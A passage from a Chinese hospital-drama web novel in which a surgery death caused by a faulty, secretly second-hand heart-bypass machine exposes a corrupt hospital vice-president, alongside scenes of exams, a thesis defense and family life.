几天后,张琪转入普通病房。 张琪的父母来照看她后,尹安安就没再过来,但还会来看南栀。 南栀最近做的几台手术她都在,尹安安很庆幸自己选择做外科医生。 张琪脱离危险后,张父张母决定带她回家里的医院,去康复科。 不管花多少钱,这病总归是要治的。 他们去医院结算了张琪的治疗费用,回病房时讨论起新家来。 张父已经回过一次家,刚租了一套房子。 他们家里条件不错,其实能买得起房,但现在张琪生病,他们觉得把钱留给孩子更好。 房子就先租着,现在好些地方都在房改。 张琪的爷爷奶奶见儿子居然要搬出去住,闹得很大。 往常张父一见他们哭就心软,然而这次不管他们如何示弱,张父能想到的只有躺在病床上生命垂危的女儿,他们现在痛苦的嘴脸让他恶心。 张父带着行李,头也不回地离开。 老两口到现在都不知道自己究竟做错什么。 要男孩不正常吗?没有男孩,将来死了,都没人给摔盆。 病房门是关着的。 张母正奇怪,忽然听到里面传来歌声,“小燕子,穿花衣~不是这首?还有儿歌吗?丢手绢?姐姐会的儿歌不多诶。” 病房里欢声笑语。 张母推开病房门,看到一个没见过的学生坐在床边,张琪朝她灿烂地笑着。 尹安安见他们回来,紧张地站起来,“我……我就是来看看琪琪,签字的事,不好意思啊,我真的没恶意。” 张母走向尹安安,用力抱住她。 尹安安愣住。 张母道:“谢谢,你救了我女儿的命。” 张琪的父母都是讲道理的,签字的事他们没追究,医院自然开心。 不过主刀医生和助力们还是多了一项工作,术前必须和家属沟通,要亲眼看着他们签字。 于是很多家属发现,在他们签字时,主刀医生会直勾勾地盯着他们的手。 家属:“……” 是不是字写得太丑,被医生嫌弃了?? 南栀用了一个月的时间,整理完尹安安需要的笔记。 这份笔记的延伸内容相当多,完全满足尹安安的需求,更能满足其他学生。 南栀把笔记交给尹安安,让她带给其他人。 韦宁雨惋惜道:“可惜啊,不能赚钱了。” 阮乔说:“栀栀和陆医生的工资加一起,不用养孩子,已经能过得很好了,别总想着钱嘛。” 韦宁雨振振有词,“我上班不就是为了赚钱吗?不为赚钱,难道是为了给国家做贡献?” 话虽这样说,但韦宁雨的副业赚得其实更多。 他现在都是以股东的身份到处投资,如果能专心做生意,赚得肯定比现在多。 死守着儿科做护士,是为了什么? 尹安安接过笔记,郑重道:“南老师,我以后绝对不会感情用事了,我不会再给你添麻烦。” 南栀不太习惯被叫老师,这词一出来,她总觉得自己要正经些,但她哪里是正经人? 南栀尽量不说错话,“琪琪的事不用放在心上,好好学习,将来能来康宁医院最好。” 尹安安用力点头。 等她离开,阮乔才坏笑道:“南老师,你现在真像个老教师。” 南栀:“……” 谁懂装老教师的苦? 冯固担心影响南栀评职称,最近一直研究学校的毕业要求。 他们学校读研是没办法越级的,不过可以提前修满学分、通过论文答辩就可以毕业。 冯固把南栀叫到学校,“你看啊,学位条例有些,只要通过课程考试和论文答辩,就能获得学位,你考试肯定没问题,关键是这论文,咱们学校的论文要求比较高,过了年,再有几个月就要开始答辩,你还来得及吗?” 南栀得知能提前毕业,有点儿紧张,“有多难?什么题目?舒教授的研究课题行吗?” 冯固:“……” 倒是也不用那么高级。 冯固问:“你做医生,也发表过论文吧?” 南栀点头。 冯固:“都发过什么?” “记不清了,”南栀如实道,“投得太多。” 冯固:“……只投不行,得投中。” 南栀说:“投中得太多了,一时说不完。” 冯固:“……” 他的担心都是多余的。 南栀开始参加各个学科的考试。 有的学科她是真没学过,必须提前看书,尚延适当地给她减少排班,支持她的“学业”。 尚延铁面无私道:“头牌是培训班毕业,我都不好意思说出去!” 阮乔很担心南栀无法通过考试,包揽了所有相对简单的手术,给南栀腾时间。 “科目也太多了,一下子参加几十场考试,你还没上过课,能行吗?其实先缓缓也行。” 阮乔翻开崭新的天书,头都大了。 她庆幸自己不想追求高学历,不然现在受苦受难的就是她。 南栀刚看过两本书,刚翻开刚到的新书。 “不是很难的。” 阮乔:“不难?你看看,你还有十几本没看!” 南栀瞟了 一眼,“这些是看完的。” 阮乔:“??” 她拿出其中两本,“一点儿痕迹都没有,是新的啊。” 南栀认真看了一眼内容,确定道:“确实是看过的。” “你不做笔记??” 南栀道:“这些内容思考思考就行了,不需要做笔记,如果是特别难背的,我会标注的。” 阮乔把整本书都翻了一遍,都没看到南栀有标注。 也就是说…… 阮乔生无可恋,“这些都不难背吗?!” 她日夜苦读算什么?算她努力吗! 过年期间,陆嘉述和陆随都在南家。 陆家人各自都有家庭,陆敬玮跑到国外学习暂时回不来,陆嘉述干脆跑到南家。 她以前经常自己过年,年纪越大越想凑热闹。 陆嘉述和南栀一样,不会做饭。 奶奶唠唠叨叨道:“真想不明白你怎么做人家妈妈的,居然不会做饭?这咋照顾孩子?” 虽然唠叨,但奶奶还是做了下厨的主力。 陆嘉述淡定道:“我年轻时一直有阿姨来帮忙带孩子,现在没人照顾,但是也没饿死,只是做不出年夜饭这种又漂亮又美观的。至于带孩子……这难道是我一个人的工作?” 奶奶被陆嘉述的“歪理”震惊,“嘿,你这人,一点儿都不懂得奉献。” 陆嘉述道:“我是来做人的,又不是当圣人。” 奶奶:“……” 奶奶扭头教育南栀,“听到没,你是来当人的,不是当圣人的,以后不许做家务,都让他们做。” 陆随:“……” 陆嘉述说痛快了,坑得是他。 不过陆随和南栀做家务的次数屈指可数,也就是扫地拖地要勤快点儿,他们甚至没什么时间在家里吃饭,医院食堂也是不错的选择。 奶奶教育完,陆嘉述又来教育,“栀栀啊,你现在还年轻,千万要考虑好了,年轻时该做什么,你知道吗?” 奶奶说:“南栀是结婚早,她才多大?现在要孩子太早!” 陆嘉述连连点头,“可不是,你不知道我生完孩子以后有多后悔,这孩子就像蜘蛛精,吐了丝就开始往你身上吸,推都推不掉,如果生了孩子,肯定影响事业。为什么男人不怕被影响,他们不带啊!生孩子这事,千万别着急,事业为重。” 奶奶:“……” 她还想和陆嘉述作对呢。 不是该催生吗,怎么变成别生了? 陆随和南明杰乖巧地坐在一旁,以免引火烧身被教育。 过年期间,心外心内都很忙。 陆随要去医院值班,南栀暂时没有排值班,儿科的人手太富裕。 名气越大,愿意来的医生越多,现在还有托关系往康宁医院调的。 相比之下恩德医院就冷清多了,即便恩德医院的大楼仍然是最现代化的。 初三晚上,南栀和陆随才回自己家。 南家没有空调,没那么暖和。 南栀深得陆嘉述真传,空调必须开,没有省电这一说。 陆随到家,刚准备去放洗澡水,家里的座机便响了起来。 南栀和陆随听到响声,心里都咯噔一声。 南栀:“我猜找你。” 陆随:“……我昨天刚值完班。” 南栀:“肯定是找你。” 南栀接起电话。 在短暂地紧张了几秒钟后,南栀露出笑容,把话筒递给陆随。 陆随:“……” 他认命地接起电话。 话筒里传来箫珵不满的声音,“你们要睡了?才几点就要睡?你别总缠着南栀。” 陆随:“……,我们结婚了。” “别说废话,”箫珵问,“喝酒了吗?” “没有。” “正好,今天来了个患者,主任也在,主任也不知道怎么了,非要给人家做手术,但他身上有酒精味儿,患者家属挺生气的,你过来把手术做了吧,快一点儿。” 陆随起身去穿衣服。 南栀高高兴兴跟上去,“我陪你。” “不用,紧急手术估计挺严重,我今晚可能不回来了。你在家休息,别太辛苦。” 南栀说:“不辛苦啊,看着你们忙,我怎么会辛苦?以前都是我忙,现在终于能看着你忙了!” 陆随:“……” 她怎么还挺高兴的样子? 患者的情况果然危急,主动脉夹层,死亡率很高。 陆随到时,箫珵已经上了另一台手术,只有心外主任在。 郤文曜的事至今没有论断,他也没能回到医院上班,现在还是停职状态。 因为此事,心外主任在院长面前的地位大大降低,这几个月都是不得志的状态。 大约是压抑太久,今天才会喝了酒也要做手术。 但做医生,绝对不能允许这种事发生。 心外主任讷讷地看着陆随。 陆随瞥了他一眼,去换衣服。 主任喊住他,“我在医院,没有功劳也有苦劳,医院是把我当作弃子?” 陆随问:“郤文曜的父亲郤诚,是真的拿错线了?” 主任:“……” 陆随道:“我在医院,写了论文发表,还要冠上别人的名字,付出得已经够多了。主任,适可而止。” 主任愣愣地看着陆随。 他以前的性格,不是这样的,不知道从哪天起就变了。 所有事情都变了。 麻醉医生匆匆赶到,陆随上台。 手术需要体外循环,陆随瞟了一眼体外循环机,问:“哪来的?” 助手道:“刚到的新货。” “新的?”陆随走向体外循环机。 二助叫了陆随医生,“陆医生,开始吧,患者的情况很严重。” 陆随收回目光,点头。 南栀跑到盛昭云的办公室用电脑。 医院有钱了,不用像以前一样抠抠搜搜,连争大手一挥,给儿科配了一台电脑。 尚延搞不明白这东西,电脑就先给盛昭云用。 互联网不发达,能用上电脑的地方不算太多,连起码的电子病历都做不到。 南栀偶尔会用电脑写论文,打字总比写字快。 她正写着,办公室的灯忽然暗了一下,接着不停地闪烁。 南栀抬头看着灯泡,应该是灯泡到年限,该换新的了。 她有些不安。 好像会有大事发生。 手术持续时间很久。 南栀写了两个小时的论文有点儿累,就在盛昭云办公室的行军床上休息,办公室稍微大点儿的都放了行 军床,尚延不管。 恩德医院就不允许办公室出现行军床,医院定期检查。 在康宁,连争不管这些,自然也没人查。 她迷迷糊糊要睡着时,忽然听到门外走廊传来急促的跑步声,“死了,好像是死了,赶紧去叫人啊!” 第118章 第118章塑料兄弟 做医生久了,南栀听到一点儿响动都会被惊醒。 她迅速爬起来,去开门时顺便理了理头发。 毕竟是晚上,走廊没人,南栀只看到转瞬即逝的背影。 南栀跟上护士,经过药房时听到值班的在议论,“都说晚上手术死亡率高,还真是哦。” “是陆医生吗?他做手术也会失败?” “又不是技术好,就能做所有手术,患者自身的条件更重要。” “但他都和南医生结婚了诶,总觉得南医生不会出任何错……” 南栀转身向手术室走去。 十分钟前还平静的手术室门口,现在站着十几个人,一半以上都是农民工打扮。 “说是人死了,也没人来说明白到底是怎么死的,医院的人呢?” “我们那边的小医院就挺好,非要我们转过来,转过来开刀,人死了,连个说法都没有?” 一个中年女人坐在地上捂着脸,旁边站着个小姑娘,小姑娘茫然地看着面前的大人们,显然不知道发生何事。 手术室的门被推开,助手刚露面,看到围着这么多家属,立刻想退回去。 但他哪里能退得了?门刚打开,便有两个男人卡住门,将他揪了出来,“你得给我们个说法,人怎么就死了?!不是说这里的医生很厉害?” 助手一下子被几个壮年男人围住,头顶的光都被遮住,他声音微弱,“这个事情……患者的底子太差了,所以……” “我哥平时一点儿症状都没有,怎么就底子差了?!他年前还跟着我们一起干活,你胡说!” 助手讪笑,“他如果身体没问题,你们也不会把他送到医院,你们再等等,我们主任马上出来。” 家属却不肯放过他,“你是医生,今天不给我们一句准话,就别想走!” “就是!哪有你们这样的,人都没了,随口说几句就想糊弄我们?手术的医生在哪?我要见那个医生!” “对,把那个医生叫出来!说什么是熟手,让我们等着,我们拖到他来才做手术,是不是拖得太久耽误了?!” “把他叫出来,给我们一个说法!” 助手解释不清楚,也躲不掉。 他看到南栀站在旁边,情急之下喊道:“南医生!你来帮帮忙!” 家属们回头看去。 南栀拧眉。 助手小心翼翼看着几个家属的脸色,赔笑道:“南医生……是我们医院的主刀医生,她比我清楚,而且她还是陆医生的妻子,你们问她。” 领头的男人说道:“好像是听说这家医院有个姓南的医生挺厉害。” 几人放过助手,朝南栀走来。 助手转身就要溜。 南栀立刻说:“我是神外医生,他才是心外的,他想溜,拦住他。” 助手:“……” 两个男人分别抓住助手的胳膊。 不过南栀也没能把怒火完全丢回去,她也被围住。 “你男人在哪,把他叫出来,人死了就躲着不出来?!把话说清楚!” 几人将南栀围得密不透风。 * 手术室,主任一言不发地看着已经空了的手术台。 麻醉医生、几个护士都在,大家都低着头,不敢说话。 陆随还穿着手术服,他冷漠地盯着主任。 安静了好一会儿,陆随才先打破沉默。 “主任,这件事得去和家属说清楚。现在的手术都有影像记录,逃不了。” 主任道:“……我知道,我只是说再等等,现在出去,是往枪口上撞。” “等?怎么等?”陆随问,“一直躲在手术室?还是回家喝着茶等?” 主任:“……” 护士嘀咕道:“怎么会出这样的问题?咱们医院的设备一直都是最好的。” 麻醉医生说:“事故已经出了,现在最该做的就是安抚家属情绪,这是我们的失误,该给的赔偿一定要给。” 这些人平时都是主任的下属,现在的目光却很有压迫性。 主任愠怒,“我说过不处理吗?这件事一定要处理!但要有准备!我已经通知院长了!等院长来再说!” 陆随拧眉,“等院长?连院长?” 主任:“……别管!” 有护士快步走过来,“主任,陆医生,小王和南医生都被围住了,现在人都在外面。” 陆随一惊,向外走去。 “陆随!”主任道,“我说过了,等院长过来处理,医院要先有应对策略!你们还愣着?拦住他!” 麻醉医生为难地看着陆随。 护士们也不知该不该听主任的话。 陆随回头,冷笑道:“被冤枉被讹诈,我可以等你去想应对策略,这种事,你还是先去外面给家属下跪吧!” 他转身大步离开。 “你!你……无法无天!” 主任虽在愤怒地骂陆随,却脸色发白,身体也在发抖。 门口的家属仍然没打算放过南栀。 南栀被挤在几人中间,有两个脾气暴躁的,差点儿就直接挥拳头了,好在被理智尚存的人拦住。 不过推搡时,南栀的手还是扭到。 其他伤都能忍,就是这手…… 南栀高声叫停,“听我说几句——” 吵闹的家属们安静下来。 所有人都看向南栀,等待她的发言。 南栀举起手,“动手可以,别打手,我以后还要做手术的。” 家属们:“……” 如果不是南栀一脸诚恳,他们都要以为她在挖苦人。 助手是男人,又是上台的医生,比南栀惨得多,连眼镜都没保住。 他听了南栀的话,更是欲哭无泪。 现在是保护手的时候吗?! 南栀把手保护好,趁着安静,赶紧解释两句,“我不是心外科的医生,真的不知道发生了什么,我也是听见声音才过来,你们放我进去,我去找人。” 几个男人对视一眼,坚决道:“不行,你肯定是要跑了!你就留在这,他要是不出来,你还得跟我们走!” “依我看,就算真把他老婆带走了,他也不见得能出来,手术失败没解释,胆小怕事!” 手术室的门被推开,陆随快步走出来。 “就是他!我刚刚看见他了!” 一群人朝陆随涌来。 南栀在恰当的时刻提醒道:“那个助手是一助哦,一样不能放过。” 又想偷偷溜走的助手:“……” 不是,怎么记仇啊。 陆随先走到南栀身边,看到她红彤彤的手腕,立刻抓住,“他们动手了?” 陆随把南栀拉到身后,看向其他人,“我是主刀,有什么问题来找我就好。” “你说得倒是好听,你不出来,我们去哪找?把手术室砸了吗?!” “我哥到底是怎么死的,为什么要遮掩?!” 南栀抬头看向陆随。 主动脉夹层救不过来很正常,原本就凶险,现在设备又没那么好,陆随为什么不第一时间出来说明情况? 南栀的直觉不太妙。 陆随深吸口气,先向家属鞠躬,然后说道:“我就是来说明情况的,这台手术失败,责任在医院,医院不会推卸责任,后续一定积极配合。” 中年女人放声大哭。 小姑娘虽然不懂什么叫死亡,可看着妈妈在哭,她也跟着哭起来。 几个男人义愤填膺,“为什么?!你们是怎么把他治死的!你说明白!” “是……”陆随看了眼南栀。 南栀很费解。 到底是什么理由,连陆随都不好开口? 心外主任和其他医生赶过来,“陆随!院长来了!” 陆随没理会主任,他说道:“是体外循环设备故障,突然关机无法使用,手术室内没有第二台机器,找到后回来已经来不及了。” 南栀一惊。 手术过程中体外循环机关机实在凶险,必须立刻用备用机。 但现在尚未形成统一的医疗设备标准,目前的原则是每个体外循环手术室至少配备一台。 虽说康宁医院设备多,但其实这些设备成本高昂,而且维护也需要费用,康宁医院能有两台,已经很不错了。 这都是连院长找了很多关系,才拿到审批去购置的。 但是体外循环机怎么会出问题?南栀记得医院刚刚购买了一台。 主任扶着额头,转身就想走。 南栀一个眼神看过去,家属心领神会,立刻去拦。 主任:“……” 助手开心地笑起来。 被留下的不只他一个,真好。 家属们的情绪彻底爆发,“你们是临川最好的医院,怎么会出这种问题?!” “都说恩德医院不行,原来你们医院也不行?!” 陆随再次鞠躬,“原因还在调查,有结果,我一定告诉各位。” 院领导接到通知匆匆赶来。 最先赶到的是武涛,接着连争也赶到。 同时过来的还有报社记者,看起来是从家里赶过来的。 连争示意主任带所有医生护士去会议室。 他的目光经过南栀,两人对视好一会儿,连争说:“把她也带过去。” 连争解释,“你们儿科的人变数太大,我多少得为医院考虑考虑。” 南栀:“……” 他们儿科是这样的形象吗? 她以为他们表现出来的是积极乐观开朗向上的形象呢! 领导还在和家属交涉,等待过程中,南栀低声问陆随,“设备怎么会突然停了?” 陆随摇头,“这是新设备,平时维护检查完全没问题,不知道为什么突然关机,怎么也打不开。医院一共只有两套体外循环机,另一套不在这间手术室。” 他从来都没想过自己的手术会出这种问题。 以前他也看过某某医院设备出问题或者医生犯下低级错误的新闻,他没想到自己会经历。 陆随和所有人一样,都认为医院是最该严谨的地方。 麻醉医生道:“我记得这台设备是去年十一月才到的,刚维护过,怎么这么快就出故障了?” “这还得把他们的人叫过来检查?他们是不是该负责任?” “等等,谁负责采购设备来着?得去找他吧?” 陆随忽然想到主任在手术室坚持等院长来。 他等的是哪个院长? 陆随低声问南栀,“刚才是哪个领导先来的,你记得吗?” 南栀道:“武院长吧。” 助手甩锅的手段给她的印象太深刻,她差点儿喊着家属一起围住武涛。 陆随道:“武涛是负责采购设备的?” 他对这些事不感兴趣,也不了解。 麻醉医生拍桌说道:“对!就是武院长!我想起来了,采买这部分一直是他负责!如果联系厂家,也得去找他!” 陆随看向主任,寒冬腊月,主任大汗淋漓。 南栀轻轻戳了戳陆随,问:“和他有关?” 陆随摇头。 他不能确定。 对于手术过程的调查很快开始,前面的手术一切顺利,没有意外,一直到体外循环机关闭。 体外循环机关闭后,患者的状态急速下降,陆随第一时间尝试重新开机,并让人去准备第二台机器。 但是很可惜,机器一直没再亮过,患者还是死亡。 可以确定的是,整个过程手术团队没有任何过错,体外循环机上次使用时还没有任何问题。 现在需要请厂家来查,机器为何突然关机。 此事很快见报,临川市从上到下议论纷纷,医院的气氛很沉重。 陆随一早就被叫去开会。 会开了很多次,现在也没定论。 陆随一进会议室,就发现氛围不太对。 心外所有人都在,箫珵拉着他坐下,小声说道:“好像出事了。” 他示意陆随去看主任,“主任这两天都没上班,听说不能找厂家了,连院长很生气。” 连争做院长多年,很少发脾气。 不然韦宁雨和祁念珍也不敢给他画大饼。 陆随奇怪道:“什么叫不能找厂家?” 箫珵露出神秘微笑,“想知道?” 陆随:“废话。” 箫珵说:“叫声哥来听听。” 陆随:“……” “你娶我妹妹,都没和我打声招呼,让你叫声哥都是便宜你。” 箫珵想到陆随偷偷带着南栀去领证,现在还气得牙痒痒。 虽然他已经接受南栀喜欢陆随的事实,但怎么能轻易结婚! 必须让陆随上刀山下火海! 怎么也得丢了半条命! 陆随道:“我一个工具人,有选择的权利?” 还不是南栀说要领证,他赶紧屁颠颠跑回家找户口本。 箫珵心里舒服多了,“工具人?你就不该是人。” 连争走进来,脸色不太好。 他坐下,看向心外主任,“这事你知道吗?” 主任不作声。 连争又看向武涛,“你来解释解释?设备到底是怎么回事?!” 武涛站起来,脸色苍白,“院长,我……” “手术出问题,不第一时间汇报这事,还想着隐瞒?现在全市都知道医院的设备坏了,人死了,造成的负面影响你能负责?!” 武涛声音很虚,“我是想着,可能是手术过程有其他问题,才会导致患者死亡,主刀的陆医生……还年轻。” 箫珵低骂了一句不要脸。 到现在了,居然还想甩锅。 陆随笑笑,“手术水平的确和年龄有一定关系,但只针对武院长这种普通医生,和我无关。” 箫珵:“……” 他看向陆随,“你能不能别学南栀说话?” 这两口子怎么越来越嚣张?? 陆随跷起二郎腿,“如果你认为是我手术过程出问题,请你拿出证据,空口无凭。” 武涛尴尬道:“我只是说有可能,这都要时间去调查。” “你有可能,我不可能,请不要因为一句‘有可能’就来玷污我的名声。” 箫珵:“……” 更过分了。 “行了,”连争道,“你不用找人给你顶雷,你敢去买二手设备,就该相信会有这一天!医院保不了你,该怎么查就怎么查吧。” 陆随敛起嚣张的表情,略有惊讶。 体外循环机是二手的?仅从外观看,和新的一样。 箫珵低声道:“武涛和人家串通好了,低价搞到一个二手设备拿去翻新。” 报的是新设备的钱,买来的是旧设备,就算要翻新,其中的差价也很大,武涛的兜里估计已经被填满。 武涛讪笑道:“明白,我都明白,我真的只有这一回,我完全配合调查。但是连院长,无论如何,陆医生都不能直接把体外循环机的事告诉患者,这对医院的影响太大了……” 门外传来说话声,好像有人站在门口嘀嘀咕咕讨论什么。 连争蹙眉看过去,靠近门的闫民怀赶紧去开门。 南栀几人站在门外。 连争头有点儿大。 整个医院最可怕的敌人来了。 阮乔主动挥手打招呼,“院长好,我们就是刚好路过。” 说是路过,但几人没一个打算走的。 连争道:“一分钟之内进来坐好关上门。” 几人立刻蹿进来,整个过程不超过二十秒。 既然能坐下,就有发表意见的权利,南栀也不客气了,“连院长,我不认同武院长的话,影响医院的事是武院长买二手设备导致患者死亡,不是陆医生将此事告知家属。” 盛昭云冷笑,“中饱私囊,推卸责任。” 阮乔道:“还想着对患者撒谎呢。” “啧啧,”韦宁雨说,“你平时还说我是奸商,你现在知道什么叫奸了吧?我是利用医院做的好事给医院树立形象,看看武院长在做什么,他是想隐瞒不好的事。” 武涛:“……” 谁把这群疯子放进来的? 哦,是连院长。 武涛辩解道:“我只是希望医院有应对的机会。” “情况不一样,可不能乱说,”南栀道,“你拿着新设备的钱去买二手设备时,想不到可能出问题?性命攸关,患者家属有权知道真相,出了事,最该做的就是真诚道歉、弥补家属,而不是找借口推卸责任。” 其他事就算了,隐瞒这种丑闻,有点儿太不要脸。 南栀可不想自己的家人用有问题的设备。 阮乔叹息道:“我们儿科为医院做了多少贡献?我们栀栀天天待在手术台上,康宁医院好不容易有今天,就被这种人……唉。” 韦宁雨道:“你别骂武院长,武院长也是为了医院好,省钱嘛。对了武院长,买二手设备能省多少钱啊?这钱用在哪儿了?是不是多买了很多设备?” 盛昭云:“呵呵。” 武涛:“……” 骂得可真脏。 儿科的人一来,武涛完全失去战斗力,想给陆随点儿压力都做不到。 南栀还不忘提醒连争,“平时我要做什么事,都得去找韦宁雨,他门路清。武院长蛮厉害的,第一次做就能联系到二手设备,我都不知道该怎么找。” 阮乔:“怪不得咱穷呢,没门路啊。” 盛昭云:“多向武院长学习,早日发家致富。” 武涛:“……” 这世界还是毁灭吧。 对武涛的调查很快开始,最先被带走的是心外主任。 二人似乎是多年老友,平时在医院很少有交集,陆随都没看出来。 半个月后,韦宁雨带着打听到的新消息往南栀办公室凑,“靠!真是神了!心外的主任真坑,全都招了!他和武涛一直在利用医院的拨款赚钱,这不是第一次干了!” 阮乔端出瓜子,给大家分了一圈,韩阅松也抓了一把瓜子凑过来。 他最近在积极地融入集体。 韦宁雨绘声绘色道:“这都是小事,你们知道他俩的胆子有多大吗?” 阮乔:“你再卖关子,我就把你的丑照全给韦初雪。” 韦宁雨:“……” 他老老实实交代打听到的最新消息,“心外的主任交代了武涛诬陷郤诚的事。” “郤诚?是谁?” 南栀的记性比较好,“郤文曜的爸爸?” “就是他,郤文曜不是说他爸是被诬陷的,所以要报复医院吗?还真是!当初换线的就是武涛,武涛觉得郤诚碍他的路了,想制造意外让他出局,没想到闹得太大,不仅患者死亡,郤诚也自尽。” 阮乔问:“可是心外的主任不是很照顾郤文曜吗?” 不仅带着他一起蹭论文,还各种照顾他。 “是的,”韩阅松说,“他们的关系很好,而且主任和郤诚也是好友。” 他在医务部时对每个科室的医生都有些了解。 南栀:“……主任知道武涛做的是,主任还是郤诚的朋友,却选择同流合污?” 这兄弟情有够塑料。 “郤文曜还相信主任的话,还要报复医院,呵呵,他和武涛都是不顾患者死活的,真想看看他知道这件事时的表情,一定很精彩。” 第119章 第119章上学 心外主任这些年一直跟着武涛混,二手设备的事,他也有一份。 武涛什么都没说,但架不住主任卖得快。 多年前,他也在郤诚自尽的事上得到好处,选择和武涛同流合污。 多年后,他们的贼船被拦下,他毫不犹豫地抛弃武涛,“弃暗投明”。 “弃暗投明”的主任戴罪立功,武涛则失去最后的机会,他利用职务之便收受贿赂、中饱私囊、蓄意制造医疗事故,这些罪名加在一起,他未来的人生得把监狱当成家。 武涛的所作所为也牵连到医院,他私下与好几家医院有过交易,包括市中心医院和恩德医院。 全市的医院都在自查和被调查中,接下来几年,老百姓在医疗方面的日子大概会很好过。 此事牵连很广,医院内隐约也有反对之声。 医院被查,声誉受损,部门科室被罚了奖金,有人埋怨当初陆随没私下解决此事。 南栀可不想隐瞒这种丑闻,自家医院又如何?这可是要人命的事。 医院监管不到位,老老实实认错就是,耍那么多小心思给谁看? 于是每当有人背后蛐蛐时,南栀就会叉腰问他,“要不开除我吧?” “要不开除陆医生吧?” 就没人再敢蛐蛐了。 谁敢开除医院的活招牌哦? 当然,绝大部分医生护士还是挺开心的。 谁不喜欢在清水里生活?谁想一头扎进浑水里? 现在能有这么个机会,得珍惜。 同时,郤文曜也去派出所自首。 他承认是他偷偷换了线,导致患者术后感染,而且他一直与恩德医院来往密切,经常把康宁的消息透露到那边,一直到恩德医院元气大伤。 南栀想到最开始和恩德医院接触时,田宏就对他们的行踪了如指掌,应该和郤文曜有关。 郤文曜和陆随在一个办公室,盯着他很容易。 这场风波持续很久,在连争的坚持下,全院上上下下都被查了个遍,尤其是采购这方面。 查来查去,就只查到武涛的问题,还有医院家属楼的分配问题。 医院老人都分到住房,最近刚通过文件,说是可以把福利住房买走,武涛收了人家的钱,帮忙搞房子。 这些都和南栀没关系,他们儿科也就只有盛昭云分到了房,盛昭云还不太在意这些。 学期末,南栀根据政策,提前参加考试,还有论文答辩。 医科大学的老师或多或少都听过南栀的名字,一想到要给南栀提问,他们很犯难。 提问南栀吗? 是他们提问? 真的不是南栀问他们? 有两个不认识南栀的,见她年纪不大,就想打趣几句,“你前几个同学可都没过,你准备好了吗?” 冯固低声道:“这是南栀。” “啥只?啥难?啥东西?” 冯固微笑,“没事,你先问。” 对方还没看论文,一连串提出好几个问题。 南栀蹙起秀眉,没说话。 男人笑道:“我的问题可能是偏了点儿,不过可不超纲,看你年纪小……哎,你怎么会这么显小?” 南栀拧眉道:“虽然不超纲,但是和我的论文无关。” 男人:“?” 南栀:“您如果听不懂我的论文,我可以重新讲一遍。” 男人:“??” 冯固淡定道:“我可提醒过你。” 还要借机占几句嘴上的便宜,真是显着他了。 答辩结束,男人去买了康宁医院定期发售的期刊。 这份期刊的销量很好,主编没人认识,听说只是个护士。 虽然主编是护士,但期刊内容可真不错,已经成为附近几个省的权威期刊。 他翻开第一页,念叨着,“都说康宁医院的期刊好,我倒要看看好在哪里。” 男人定睛一看,看到一个熟悉的名字,“南……” 冯固说:“南栀。” 男人:“……” 冯固道:“稀奇吧?你去翻翻国内几本顶尖期刊,上面经常有她的文章,人家升职都不用管论文数量,拿到学历直接升。” 他适时地炫耀道:“她是舒映阶教授的学生哦,我可是有舒教授的签名的,亲笔签名。” 男人:“……” 看起来年纪不大的南栀?和期刊上的南栀是同一个人?? 男人在震惊之余,还不忘损冯固,“什么签名,我看你比我那追乐团的女儿还不靠谱。” 冯固:“你有吗?” “我……” 冯固问:“你见过顶尖的教授吗?” “……” 他不想听!! 成功拿到学校的毕业证后,南栀正好赶上评职称。 陆随和箫珵都评上了副主任,南栀还得从主治医生开始。 比较惨的是阮乔,她现在能独立做手术,但评职称时,人家以年龄不够为由拒绝。 完整的说法是——“你们康宁年轻的 副主任是不是太多了?” 陆随和箫珵是什么身份,能评不上吗?! 盛昭云的天赋有目共睹,还是暴脾气,谁敢不评! 陆随家,其他人欢声笑语,阮乔借酒浇愁。 南栀和陆随搬到新家已有半年,他们还是喜欢跑过来聚餐,尽管这里比陆嘉述的别墅小得多,也没有私藏的红酒。 韦宁雨拍着胸脯表示,“你干脆别做医生,以后就跟着我混。” 韦宁雨打算辞职,去做医药行业。 他的天赋的确不在医院。 “以后我就专门给咱们医院搞药,那种进口的难搞的药,我都给你们弄来,跟着我混,保证你们吃香的喝辣的。” 南栀带头敬酒,“谢谢任总。” 韦宁雨满意地点头。 阮乔嫌弃道:“我才不去做生意,我没有奸商的本领,还是手术室好,患者不会和我闹。” 韦宁雨:“……” 被开了脑袋的患者如果还能闹,那有点儿太可怕了。 南栀正在书房和黄春兰打电话。 黄春兰最近和两个妹妹商量着一起去南方看她们最小的妹妹,这两年黄冬兰只回来过一次。 现在四个姐妹里,黄冬兰是最有本事的,留在临川,老老实实打工一个月,还不如人家两天赚得多。 黄春兰念叨完这件事,又问南栀什么时候要孩子,也不是催南栀,只是她和陆随都结婚了,总想问两句。 南栀老老实实地回答,“没有要孩子的计划。” 她和陆随都很谨慎,绝对不允许意外的发生。 他们在不要孩子这方面观念一致,但陆随有时有点儿太喜欢动手动脚,精力过于旺盛,南栀就不太理解了。 明明经常感冒发烧的一个人,天天在手术台上泡着,一天下来力气还挺大?? 黄春兰念完孩子,提到黄岩虎。 大桑村传来消息,黄岩虎离世了。 这两年他身体不好,黄春兰走了,他一直想找机会跟过来,黄夏兰和黄秋兰在前面顶着,黄岩虎才没得逞。 不过要他命的不是病,而是酒。 他整日喝得醉醺醺的,终于在一次喝酒后,掉进涨水的河里。 与他同行的人都没来得及伸手,他人就被湍急的河水吞噬,再找到时,人已经在五公里外的下游。 南栀警惕道:“您不是想回去看他吧?” 也不是每一个死者都要为大的。 黄岩虎这种生孩子就为给自己养老的,无节制地剥削自己的孩子,不配为人父母。 黄春兰说:“这倒是没有,我要去看你小姨,没时间,就是……唉,有的时候我想不明白,我在大桑村里的朋友,他们的爸妈对他们都很好,为什么……” 为什么其他小朋友在河里玩水时,她就只能用棒槌洗衣服? 过年,其他人分到冰糖或者红糖,她只能拿着扫把看着他们一起吃糖。 黄春兰的年纪也大了,想不明白的事却越来越多。 南栀发怔片刻才想到,她虽然没摊上好的亲生父母,黄春兰和南明杰却对她很好,可黄春兰一直没被关心照顾过。 南栀轻声道:“你如果想回去一趟,我陪你回去。” 黄春兰沉默良久,才说:“都过去了,不回去了,这辈子都不回去了。” 韦宁雨和阮乔争着唱歌,陆随避开吵闹的客厅来到书房。 他推开门,看着还在打电话的南栀。 箫珵走过来,提醒道:“这事你得早点儿和南栀说,平衡好你们的关系,如果敢让南栀不高兴,哥哥我是会不高兴的。” 陆随难得没和箫珵斗嘴,一直拧眉看着南栀,“她可能更想留下来。” “那你也得留下来,”箫珵说,“现在没手机,不能视频,也没高铁,一年到头见不到几次,你背着南栀和别人好了怎么办?” 